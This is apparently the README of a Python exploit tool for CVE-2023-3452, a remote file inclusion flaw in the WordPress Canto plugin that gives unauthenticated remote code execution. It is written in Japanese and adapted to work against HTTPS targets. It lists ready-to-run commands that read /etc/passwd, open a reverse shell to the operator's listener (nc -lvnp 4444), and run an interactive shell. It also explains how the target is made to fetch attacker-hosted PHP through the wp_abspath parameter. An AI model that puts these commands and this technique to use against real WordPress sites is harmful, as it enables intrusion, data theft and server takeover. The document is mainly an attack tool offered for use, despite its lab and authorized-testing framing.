
WordPress Cantoプラグイン向けCVE-2023-3452エクスプロイト(RCE)、HTTPS対応を含む
WordPress Cantoプラグイン(≤ 3.0.4)のRFI脆弱性のエクスプロイト。HTTPSでも実際に動作します — 他の公開PoCはSSLで諦めていました。
クレジットは当然: このCVEは他の人が発見しました。私はHTTPSターゲットで壊れないバージョンを作っただけです。
| CVE | CVE-2023-3452 |
| EDB-ID | 51826 |
| タイプ | リモートファイルインクルード(RFI)→未認証RCE |
| 影響を受けるバージョン | WordPress Cantoプラグイン < 3.0.5 (≤ 3.0.4) |
| 公開者 | Leopoldo Angulo (leoanggal1) — 2024-02-27 |
| 場所 | /wp-content/plugins/canto/includes/lib/download.php |
| ベクター | wp_abspathが検証なしでPHPファイルのインクルードに使用される — リモートからファイルをインクルードします。 |
このCVEのほとんどのエクスプロイトはSSL検証のためHTTPSで動作しません。このスクリプトは:
verify=Falseを使用してHTTPSターゲットで実際に動作するようにrequestspip install -r requirements.txt
または単に: pip install requests
python3 canto_exploit.py -t <TARGET_URL> -l <LHOST> -p <LPORT> [OPTIONS]
| オプション | 説明 | 必須 |
|---|---|---|
-t, --target | ターゲットWordPress URL (HTTPまたはHTTPS) | はい |
-l, --lhost | あなたのIP — ターゲットがペイロードのためにこれに到達する必要があります | はい |
-p, --lport | ペイロードサーバーのポート (デフォルト: 8888) | いいえ |
-c, --command | ターゲットで実行するコマンド | いいえ* |
--revshell | リバースシェルを起動 | いいえ |
--shell-port | リバースシェルのリスナーポート (デフォルト: 4444) | いいえ |
-i, --interactive | インタラクティブシェルモード | いいえ |
-v, --verbose | 詳細出力 | いいえ |
--skip-check | 脆弱性チェックをスキップ | いいえ |
* コマンドなし = 正常性確認として id; whoami; hostname を実行
単一コマンド:
python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 -c "id"
ファイルを読む:
python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 -c "cat /etc/passwd"
リバースシェル (最初に nc -lvnp 4444 を実行):
python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 --revshell --shell-port 4444
インタラクティブモード:
python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 -i
HTTPS CTFターゲット:
python3 canto_exploit.py -t https://10.129.1.136 -l 10.10.14.33 -p 8888 -c "id"
/wp-content/plugins/canto/readme.txt にアクセスし、バージョンを解析 (≤ 3.0.4 = 脆弱)system() 経由でコマンドを実行する偽の wp-admin/admin.php を書き込むwp_abspath=http://LHOST:LPORT を含む download.php をリクエストし、リモートPHPをインクルードさせるLHOST:LPORT であなたのマシンに到達できる必要があります (HTB/ラボの場合、それはあなたのVPN IPです)-p) のインバウンドを許可する必要があります許可されたテストおよび教育目的のみに使用してください。許可されたシステムのみにアクセスしてください。それ以外は違法です。
MIT